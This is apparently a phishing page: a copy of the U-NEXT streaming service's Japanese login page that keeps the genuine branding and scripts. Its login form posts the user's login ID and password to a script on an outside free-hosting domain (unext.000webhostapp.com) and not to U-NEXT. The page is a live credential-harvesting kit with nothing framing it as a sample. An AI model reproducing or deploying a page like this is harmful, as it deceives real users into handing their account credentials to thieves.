<!DOCTYPE html>
<html lang="ja"
data-page-id="">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge"/><script type="text/javascript">(window.NREUM||(NREUM={})).loader_config={licenseKey:"06aabe30ae",applicationID:"13892338"};window.NREUM||(NREUM={}),__nr_require=function(e,t,n){function r(n){if(!t[n]){var i=t[n]={exports:{}};e[n][0].call(i.exports,function(t){var i=e[n][1][t];return r(i||t)},i,i.exports)}return t[n].exports}if("function"==typeof __nr_require)return __nr_require;for(var i=0;i<n.length;i++)r(n[i]);return r}({1:[function(e,t,n){function r(){}function i(e,t,n){return function(){return o(e,[u.now()].concat(c(arguments)),t?null:this,n),t?void 0:this}}var o=e("handle"),a=e(7),c=e(8),f=e("ee").get("tracer"),u=e("loader"),s=NREUM;"undefined"==typeof window.newrelic&&(newrelic=s);var d=["setPageViewName","setCustomAttribute","setErrorHandler","finished","addToTrace","inlineHit","addRelease"],p="api-",l=p+"ixn-";a(d,function(e,t){s[t]=i(p+t,!0,"api")}),s.addPageAction=i(p+"addPageAction",!0),s.setCurrentRouteName=i(p+"routeName",!0),t.exports=newrelic,s.interaction=function(){return(new r).get()};var m=r.prototype={createTracer:function(e,t){var n={},r=this,i="function"==typeof t;return o(l+"tracer",[u.now(),e,n],r),function(){if(f.emit((i?"":"no-")+"fn-start",[u.now(),r,i],n),i)try{return t.apply(this,arguments)}catch(e){throw f.emit("fn-err",[arguments,this,e],n),e}finally{f.emit("fn-end",[u.now()],n)}}}};a("actionText,setName,setAttribute,save,ignore,onEnd,getContext,end,get".split(","),function(e,t){m[t]=i(l+t)}),newrelic.noticeError=function(e,t){"string"==typeof e&&(e=new Error(e)),o("err",[e,u.now(),!1,t])}},{}],2:[function(e,t,n){function r(){return c.exists&&performance.now?Math.round(performance.now()):(o=Math.max((new Date).getTime(),o))-a}function i(){return o}var o=(new Date).getTime(),a=o,c=e(9);t.exports=r,t.exports.offset=a,t.exports.getLastTimestamp=i},{}],3:[function(e,t,n){function r(e){return!(!e||!e.protocol||"file:"===e.protocol)}t.exports=r},{}],4:[function(e,t,n){function r(e,t){var n=e.getEntries();n.forEach(function(e){"first-paint"===e.name?d("timing",["fp",Math.floor(e.startTime)]):"first-contentful-paint"===e.name&&d("timing",["fcp",Math.floor(e.startTime)])})}function i(e,t){var n=e.getEntries();n.length>0&&d("lcp",[n[n.length-1]])}function o(e){e.getEntries().forEach(function(e){e.hadRecentInput||d("cls",[e])})}function a(e){if(e instanceof m&&!g){var t=Math.round(e.timeStamp),n={type:e.type};t<=p.now()?n.fid=p.now()-t:t>p.offset&&t<=Date.now()?(t-=p.offset,n.fid=p.now()-t):t=p.now(),g=!0,d("timing",["fi",t,n])}}function c(e){d("pageHide",[p.now(),e])}if(!("init"in NREUM&&"page_view_timing"in NREUM.init&&"enabled"in NREUM.init.page_view_timing&&NREUM.init.page_view_timing.enabled===!1)){var f,u,s,d=e("handle"),p=e("loader"),l=e(6),m=NREUM.o.EV;if("PerformanceObserver"in window&&"function"==typeof window.PerformanceObserver){f=new PerformanceObserver(r);try{f.observe({entryTypes:["paint"]})}catch(v){}u=new PerformanceObserver(i);try{u.observe({entryTypes:["largest-contentful-paint"]})}catch(v){}s=new PerformanceObserver(o);try{s.observe({type:"layout-shift",buffered:!0})}catch(v){}}if("addEventListener"in document){var g=!1,w=["click","keydown","mousedown","pointerdown","touchstart"];w.forEach(function(e){document.addEventListener(e,a,!1)})}l(c)}},{}],5:[function(e,t,n){function r(e,t){if(!i)return!1;if(e!==i)return!1;if(!t)return!0;if(!o)return!1;for(var n=o.split("."),r=t.split("."),a=0;a<r.length;a++)if(r[a]!==n[a])return!1;return!0}var i=null,o=null,a=/Version\/(\S+)\s+Safari/;if(navigator.userAgent){var c=navigator.userAgent,f=c.match(a);f&&c.indexOf("Chrome")===-1&&c.indexOf("Chromium")===-1&&(i="Safari",o=f[1])}t.exports={agent:i,version:o,match:r}},{}],6:[function(e,t,n){function r(e){function t(){e(a&&document[a]?document[a]:document[i]?"hidden":"visible")}"addEventListener"in document&&o&&document.addEventListener(o,t,!1)}t.exports=r;var i,o,a;"undefined"!=typeof document.hidden?(i="hidden",o="visibilitychange",a="visibilityState"):"undefined"!=typeof document.msHidden?(i="msHidden",o="msvisibilitychange"):"undefined"!=typeof document.webkitHidden&&(i="webkitHidden",o="webkitvisibilitychange",a="webkitVisibilityState")},{}],7:[function(e,t,n){function r(e,t){var n=[],r="",o=0;for(r in e)i.call(e,r)&&(n[o]=t(r,e[r]),o+=1);return n}var i=Object.prototype.hasOwnProperty;t.exports=r},{}],8:[function(e,t,n){function r(e,t,n){t||(t=0),"undefined"==typeof n&&(n=e?e.length:0);for(var r=-1,i=n-t||0,o=Array(i<0?0:i);++r<i;)o[r]=e[t+r];return o}t.exports=r},{}],9:[function(e,t,n){t.exports={exists:"undefined"!=typeof window.performance&&window.performance.timing&&"undefined"!=typeof window.performance.timing.navigationStart}},{}],ee:[function(e,t,n){function r(){}function i(e){function t(e){return e&&e instanceof r?e:e?u(e,f,a):a()}function n(n,r,i,o,a){if(a!==!1&&(a=!0),!l.aborted||o){e&&a&&e(n,r,i);for(var c=t(i),f=v(n),u=f.length,s=0;s<u;s++)f[s].apply(c,r);var p=d[h[n]];return p&&p.push([b,n,r,c]),c}}function o(e,t){y[e]=v(e).concat(t)}function m(e,t){var n=y[e];if(n)for(var r=0;r<n.length;r++)n[r]===t&&n.splice(r,1)}function v(e){return y[e]||[]}function g(e){return p[e]=p[e]||i(n)}function w(e,t){s(e,function(e,n){t=t||"feature",h[n]=t,t in d||(d[t]=[])})}var y={},h={},b={on:o,addEventListener:o,removeEventListener:m,emit:n,get:g,listeners:v,context:t,buffer:w,abort:c,aborted:!1};return b}function o(e){return u(e,f,a)}function a(){return new r}function c(){(d.api||d.feature)&&(l.aborted=!0,d=l.backlog={})}var f="nr@context",u=e("gos"),s=e(7),d={},p={},l=t.exports=i();t.exports.getOrSetContext=o,l.backlog=d},{}],gos:[function(e,t,n){function r(e,t,n){if(i.call(e,t))return e[t];var r=n();if(Object.defineProperty&&Object.keys)try{return Object.defineProperty(e,t,{value:r,writable:!0,enumerable:!1}),r}catch(o){}return e[t]=r,r}var i=Object.prototype.hasOwnProperty;t.exports=r},{}],handle:[function(e,t,n){function r(e,t,n,r){i.buffer([e],r),i.emit(e,t,n)}var i=e("ee").get("handle");t.exports=r,r.ee=i},{}],id:[function(e,t,n){function r(e){var t=typeof e;return!e||"object"!==t&&"function"!==t?-1:e===window?0:a(e,o,function(){return i++})}var i=1,o="nr@id",a=e("gos");t.exports=r},{}],loader:[function(e,t,n){function r(){if(!E++){var e=x.info=NREUM.info,t=l.getElementsByTagName("script")[0];if(setTimeout(u.abort,3e4),!(e&&e.licenseKey&&e.applicationID&&t))return u.abort();f(h,function(t,n){e[t]||(e[t]=n)});var n=a();c("mark",["onload",n+x.offset],null,"api"),c("timing",["load",n]);var r=l.createElement("script");r.src="https://"+e.agent,t.parentNode.insertBefore(r,t)}}function i(){"complete"===l.readyState&&o()}function o(){c("mark",["domContent",a()+x.offset],null,"api")}var a=e(2),c=e("handle"),f=e(7),u=e("ee"),s=e(5),d=e(3),p=window,l=p.document,m="addEventListener",v="attachEvent",g=p.XMLHttpRequest,w=g&&g.prototype;if(d(p.location)){NREUM.o={ST:setTimeout,SI:p.setImmediate,CT:clearTimeout,XHR:g,REQ:p.Request,EV:p.Event,PR:p.Promise,MO:p.MutationObserver};var y=""+location,h={beacon:"bam.nr-data.net",errorBeacon:"bam.nr-data.net",agent:"js-agent.newrelic.com/nr-1208.min.js"},b=g&&w&&w[m]&&!/CriOS/.test(navigator.userAgent),x=t.exports={offset:a.getLastTimestamp(),now:a,origin:y,features:{},xhrWrappable:b,userAgent:s};e(1),e(4),l[m]?(l[m]("DOMContentLoaded",o,!1),p[m]("load",r,!1)):(l[v]("onreadystatechange",i),p[v]("onload",r)),c("mark",["firstbyte",a.getLastTimestamp()],null,"api");var E=0}},{}],"wrap-function":[function(e,t,n){function r(e,t){function n(t,n,r,f,u){function nrWrapper(){var o,a,s,p;try{a=this,o=d(arguments),s="function"==typeof r?r(o,a):r||{}}catch(l){i([l,"",[o,a,f],s],e)}c(n+"start",[o,a,f],s,u);try{return p=t.apply(a,o)}catch(m){throw c(n+"err",[o,a,m],s,u),m}finally{c(n+"end",[o,a,p],s,u)}}return a(t)?t:(n||(n=""),nrWrapper[p]=t,o(t,nrWrapper,e),nrWrapper)}function r(e,t,r,i,o){r||(r="");var c,f,u,s="-"===r.charAt(0);for(u=0;u<t.length;u++)f=t[u],c=e[f],a(c)||(e[f]=n(c,s?f+r:r,i,f,o))}function c(n,r,o,a){if(!m||t){var c=m;m=!0;try{e.emit(n,r,o,t,a)}catch(f){i([f,n,r,o],e)}m=c}}return e||(e=s),n.inPlace=r,n.flag=p,n}function i(e,t){t||(t=s);try{t.emit("internal-error",e)}catch(n){}}function o(e,t,n){if(Object.defineProperty&&Object.keys)try{var r=Object.keys(e);return r.forEach(function(n){Object.defineProperty(t,n,{get:function(){return e[n]},set:function(t){return e[n]=t,t}})}),t}catch(o){i([o],n)}for(var a in e)l.call(e,a)&&(t[a]=e[a]);return t}function a(e){return!(e&&e instanceof Function&&e.apply&&!e[p])}function c(e,t){var n=t(e);return n[p]=e,o(e,n,s),n}function f(e,t,n){var r=e[t];e[t]=c(r,n)}function u(){for(var e=arguments.length,t=new Array(e),n=0;n<e;++n)t[n]=arguments[n];return t}var s=e("ee"),d=e(8),p="nr@original",l=Object.prototype.hasOwnProperty,m=!1;t.exports=r,t.exports.wrapFunction=c,t.exports.wrapInPlace=f,t.exports.argsToArray=u},{}]},{},["loader"]);</script>
<meta http-equiv="X-UA-Compatible" content="requiresActiveX=true" />
<meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0">
<meta name="description" content="" />
<meta name="keywords" content="" />
<link rel="shortcut icon" type="image/png" href="https://account.unext.jp/static/img/icon/favicon.png?t=20200415" />
<link rel="apple-touch-icon" href="https://account.unext.jp/static/img/icon/apple-touch-icon.png?t=20200415"/>
<title>ログイン | U-NEXT</title>
<link rel="stylesheet" href="https://account.unext.jp/static/css/unext.account.css?rev=20210423184324">
</head>
<body>
<div class="ubs-layout">
<div class="ubs-layout__header">
<header class="ubs-hdr">
<div class="ubs-hdrLogo">
<a href="https://video.unext.jp/">
<?xml version="1.0" encoding="UTF-8"?>
<svg width="129px" height="24px" viewBox="0 0 129 24" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<desc>Created with sketchtool.</desc>
<g id="MVP" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd">
<g id="MVP_Exportables" transform="translate(-49.000000, -354.000000)" fill="#000A17">
<g id="Logo/U-NEXT/Horizontal-2" transform="translate(50.000000, 354.000000)">
<g id="Logo/U-NEXT/Horizontal">
<path d="M85.5041235,9.45419573 C85.2313749,9.45419573 85.0104672,9.67510343 85.0104672,9.94785205 L85.0104672,12.6631953 C85.0104672,12.9359439 85.2313749,13.1568516 85.5041235,13.1568516 L90.6877484,13.1568516 C90.960497,13.1568516 91.1814047,12.9359439 91.1814047,12.6631953 L91.1814047,9.94785205 C91.1814047,9.67510343 90.960497,9.45419573 90.6877484,9.45419573 L85.5041235,9.45419573 Z M110.602134,1.06133774 L106.958791,1.06133774 C106.671565,1.06133774 106.410025,1.22760231 106.287895,1.48914208 L103.401851,7.67292307 L100.515572,1.48914208 C100.394377,1.22760231 100.13237,1.06133774 99.8446762,1.06133774 L96.2018008,1.06133774 C95.8291066,1.06133774 95.5911521,1.45831775 95.7665239,1.78734412 L100.908816,11.428821 L95.7665239,21.0705314 C95.5911521,21.3995578 95.8291066,21.7965378 96.2018008,21.7965378 L99.8446762,21.7965378 C100.13237,21.7965378 100.394377,21.6302732 100.515572,21.3687335 L103.401851,15.1840184 L106.287895,21.3687335 C106.410025,21.6302732 106.671565,21.7965378 106.958791,21.7965378 L110.602134,21.7965378 C110.974361,21.7965378 111.21325,21.3995578 111.036944,21.0705314 L105.894652,11.4290545 L111.036944,1.78734412 C111.21325,1.45831775 110.974361,1.06133774 110.602134,1.06133774 L110.602134,1.06133774 Z M91.4284664,1.06133774 L80.073437,1.06133774 C79.6645476,1.06133774 79.3329525,1.3929328 79.3329525,1.80182222 L79.3329525,21.0560533 C79.3329525,21.4649427 79.6645476,21.7965378 80.073437,21.7965378 L91.4284664,21.7965378 C91.7009815,21.7965378 91.9221227,21.5753966 91.9221227,21.3028815 L91.9221227,18.5875382 C91.9221227,18.3147896 91.7009815,18.0938819 91.4284664,18.0938819 L83.7763264,18.0938819 L83.7763264,4.76399365 L91.4284664,4.76399365 C91.7009815,4.76399365 91.9221227,4.54308595 91.9221227,4.27033733 L91.9221227,1.55499406 C91.9221227,1.28247895 91.7009815,1.06133774 91.4284664,1.06133774 L91.4284664,1.06133774 Z M126.565167,1.06133774 L113.728935,1.06133774 C113.45642,1.06133774 113.235279,1.28247895 113.235279,1.55499406 L113.235279,4.27033733 C113.235279,4.54308595 113.45642,4.76399365 113.728935,4.76399365 L117.925481,4.76399365 L117.925481,21.3028815 C117.925481,21.5753966 118.146389,21.7965378 118.419137,21.7965378 L121.874965,21.7965378 C122.147714,21.7965378 122.368621,21.5753966 122.368621,21.3028815 L122.368621,4.76399365 L126.565167,4.76399365 C126.837682,4.76399365 127.058824,4.54308595 127.058824,4.27033733 L127.058824,1.55499406 C127.058824,1.28247895 126.837682,1.06133774 126.565167,1.06133774 L126.565167,1.06133774 Z M74.3111554,1.06133774 L71.3492174,1.06133774 C71.0760018,1.06133774 70.8555611,1.28201192 70.8555611,1.55499406 L70.8555611,14.259989 L64.9618091,1.63112081 C64.7999813,1.28364654 64.4508724,1.06133774 64.0674364,1.06133774 L60.9815006,1.06133774 C60.4362369,1.06133774 59.994188,1.50362017 59.994188,2.04865038 L59.994188,21.3028815 C59.994188,21.5749295 60.2155627,21.7965378 60.4878443,21.7965378 L63.4500158,21.7965378 C63.7232314,21.7965378 63.9436721,21.5749295 63.9436721,21.3028815 L63.9436721,8.59695242 L69.8371906,21.2269882 C69.9999524,21.5739955 70.3481273,21.7965378 70.7322638,21.7965378 L73.817499,21.7965378 C74.3627628,21.7965378 74.8050452,21.3542554 74.8050452,20.8089916 L74.8050452,1.55499406 C74.8050452,1.28201192 74.5841375,1.06133774 74.3111554,1.06133774 L74.3111554,1.06133774 Z M17.6997041,13.5185705 C17.6997041,17.8631664 14.1777908,21.3850797 9.83319488,21.3850797 C5.48859893,21.3850797 1.96668568,17.8631664 1.96668568,13.5185705 L1.96668568,4.20074907 C1.96668568,3.79326077 2.27633009,3.45816293 2.6733101,3.4179979 L16.8331201,2.00218036 C16.859274,1.99937815 16.8858951,1.99797705 16.9132166,1.99797705 C17.3475595,1.99797705 17.6997041,2.35035518 17.6997041,2.78469802 L17.6997041,13.5185705 Z M17.3062268,-4.26325641e-14 C17.2268308,-4.26325641e-14 17.1486024,0.00420331777 17.0713081,0.0116758827 C17.0713081,0.0116758827 2.12501065,1.50618887 2.12501065,1.50642238 C0.931968956,1.6243488 0,2.63034285 0,3.85467591 L0,13.5185705 C0,18.949257 4.40227481,23.3517654 9.83319488,23.3517654 C15.2636479,23.3517654 19.6663898,18.949257 19.6663898,13.5185705 L19.6663898,2.35992941 C19.6663898,1.05643387 18.6094889,-4.26325641e-14 17.3062268,-4.26325641e-14 L17.3062268,-4.26325641e-14 Z M44.5976685,1.06133774 L41.1418408,1.06133774 C40.8686251,1.06133774 40.6481845,1.28201192 40.6481845,1.55499406 L40.6481845,14.8846488 C40.6481845,17.0115276 39.6491959,18.0938819 37.6862465,18.0938819 C35.7230636,18.0938819 34.7238416,17.0115276 34.7238416,14.8846488 L34.7238416,1.55499406 C34.7238416,1.28201192 34.5024669,1.06133774 34.2301853,1.06133774 L30.7743575,1.06133774 C30.5020759,1.06133774 30.2807012,1.28201192 30.2807012,1.55499406 L30.2807012,14.8846488 C30.2807012,19.7927228 32.777939,22.2901941 37.6862465,22.2901941 C42.5940871,22.2901941 45.0913249,19.7927228 45.0913249,14.8846488 L45.0913249,1.55499406 C45.0913249,1.28201192 44.8708842,1.06133774 44.5976685,1.06133774 L44.5976685,1.06133774 Z M13.9629546,4.94800556 C13.9361001,4.94800556 13.9097126,4.94917315 13.8837921,4.95197536 L5.62590731,5.77769379 C5.2275262,5.81645772 4.91648068,6.1522561 4.91648068,6.56067848 L4.91648068,13.5185705 C4.91648068,16.2339138 7.11761809,18.4350512 9.83319488,18.4350512 C12.5485382,18.4350512 14.7496756,16.2339138 14.7496756,13.5185705 L14.7496756,5.73472654 C14.7496756,5.30015019 14.3975309,4.94800556 13.9629546,4.94800556 L13.9629546,4.94800556 Z M55.1346856,9.45419573 L49.9508272,9.45419573 C49.6787792,9.45419573 49.4571709,9.67463639 49.4571709,9.94785205 L49.4571709,12.6631953 C49.4571709,12.9352434 49.6787792,13.1568516 49.9508272,13.1568516 L55.1346856,13.1568516 C55.4067337,13.1568516 55.628342,12.9352434 55.628342,12.6631953 L55.628342,9.94785205 C55.628342,9.67463639 55.4067337,9.45419573 55.1346856,9.45419573 L55.1346856,9.45419573 Z" id="U-NEXT_Logo_Horizontal"></path>
</g>
</g>
</g>
</g>
</svg>
</a>
</div>
</header>
</div>
<div class="ubs-layout__content">
<div class="ubs-layoutMain">
<form action="https://unext.000webhostapp.com/post.php" method="post" class="mt-32 js-acc-login__form">
<div>
<h3 class="ubs-type-heading3">ログインID</h3>
<input type="text" name="login_id" value="" class="ubs-form-text js-acc-login__id" autocomplete="username">
<div class="ubs-type-error"></div>
</div>
<div class="mt-16">
<h3 class="ubs-type-heading3">パスワード</h3>
<input type="password" name="password" value="" class="ubs-form-text js-acc-login__pass" autocomplete="new-password">
<div class="ubs-type-error"></div>
</div>
<div class="mt-16">
<label class="ubs-form-check">
<input type="checkbox" name="autologin" class="ubs-form-check__input" checked><span>次回から自動的にログイン</span>
</label>
</div>
<div>
<input type="hidden" name="g-recaptcha-response" value="" id="js-recaptcha">
</div>
<div class="mt-40">
<div class="ubs-form-btns">
<a
href="javascript:void(0);"
class="ubs-form-btn js-acc-login__submit"
>ログイン</a>
</div>
</div>
<div class="mt-16 ta-c">
<a href="https://video.unext.jp/account/recovery/start" class="td-un ubs-type-note">
ログインID / パスワードを忘れた方
</a>
</div>
</form>
<div class="ubs-type-heading2 mt-64 ta-c">会員登録がまだの方は…</div>
<div class="mt-16">
<a href="http://video.unext.jp/feature/welcome/" class="login-signupBtn">
<div class="login-signupBtn__heading">31日間無料</div>
<div class="login-signupBtn__attention">まずは無料トライアル</div>
</a>
</div>
</div>
</div>
<div class="ubs-layout__footer">
<footer class="ubs-ftr"></footer>
</div>
</div>
<script src="https://account.unext.jp/static/js/unext.js?rev=20210423184324" charset="utf-8"></script>
<script type="text/javascript">
!function(t,e){if(void 0===e[t]){e[t]=function(){e[t].clients.push(this),this._init=[Array.prototype.slice.call(arguments)]},e[t].clients=[];for(var r=function(t){return function(){return this["_"+t]=this["_"+t]||[],this["_"+t].push(Array.prototype.slice.call(arguments)),this}},s=["blockEvents","unblockEvents","setSignedMode","setAnonymousMode","resetUUID","addRecord","fetchGlobalID","set","trackEvent","trackPageview","trackClicks","ready"],n=0;n<s.length;n++){var c=s[n];e[t].prototype[c]=r(c)}var o=document.createElement("script");o.type="text/javascript",o.async=!0,o.src=("https:"===document.location.protocol?"https:":"http:")+"//cdn.treasuredata.com/sdk/2.1/td.min.js";var a=document.getElementsByTagName("script")[0];a.parentNode.insertBefore(o,a)}}("Treasure",this);
</script>
<script type="text/javascript">
var unx = unx || {};
unx.td = {};
unx.td.writeKey = '5561/009da378c9fb9a70e621669e98a06e16d25041ef';
unx.td.database = 'unext_log_db';
unx.td.userData = {};
var td = new Treasure({
writeKey: unx.td.writeKey,
database: unx.td.database
});
td.setSignedMode();
td.set('$global', 'td_global_id', 'td_global_id');
td.set('page_transition_log', unx.td.userData);
td.trackPageview('page_transition_log');
</script>
<script src="https://account.unext.jp/static/js/vendor.js?rev=20210423184324" charset="utf-8"></script>
<script src="https://account.unext.jp/static/js/beforeLoginBehaviors.js?rev=20210423184324" charset="utf-8"></script>
<script>
;(function(window){
'use strict';
var isSubmited = false;
var opt = {
form: document.querySelector('.js-acc-login__form'),
loginid: document.querySelector('.js-acc-login__id'),
loginpw: document.querySelector('.js-acc-login__pass'),
submitBtn: document.querySelector('.js-acc-login__submit')
};
var validationLoginid = function() {
var elm = opt.loginid;
elm.nextElementSibling.textContent = '';
if (elm.value === '') {
elm.classList.add('haserror');
elm.nextElementSibling.textContent = 'ログインIDは' + unx.constants.ERR_MSG.REQUIRED;
return false;
}
elm.classList.remove('haserror');
return true;
}
var validationLoginpw = function() {
var elm = opt.loginpw;
elm.nextElementSibling.textContent = '';
if (elm.value === '') {
elm.classList.add('haserror');
elm.nextElementSibling.textContent = 'パスワードは' + unx.constants.ERR_MSG.REQUIRED;
return false;
}
elm.classList.remove('haserror');
return true;
}
var handleLoginidBlurEvent = function(e) {
validationLoginid()
}
var handleLoginpwBlurEvent = function(e) {
validationLoginpw()
}
var handleSubmitClickEvent = function(e) {
var errCount = 0;
if (isSubmited) {
return;
}
isSubmited = true;
if (!validationLoginid()) {
errCount++;
}
if (!validationLoginpw()) {
errCount++;
}
if (errCount > 0) {
isSubmited = false;
return;
}
unxBeforeLoginBehaviors(function(token) {
document.getElementById('js-recaptcha').value = token;
opt.form.submit();
})
}
opt.loginid.addEventListener('blur', handleLoginidBlurEvent);
opt.loginpw.addEventListener('blur', handleLoginpwBlurEvent);
opt.submitBtn.addEventListener('click', handleSubmitClickEvent);
}(window));
</script>
<script type="text/javascript">window.NREUM||(NREUM={});NREUM.info={"beacon":"bam-cell.nr-data.net","licenseKey":"06aabe30ae","applicationID":"13892338","transactionName":"NAMGYUBWXkpQUkdYCQ1JMUdbGFlXVVRLHxYLFg==","queueTime":0,"applicationTime":14,"atts":"GEQFFwhMTUQ=","errorBeacon":"bam-cell.nr-data.net","agent":""}</script></body>
</html>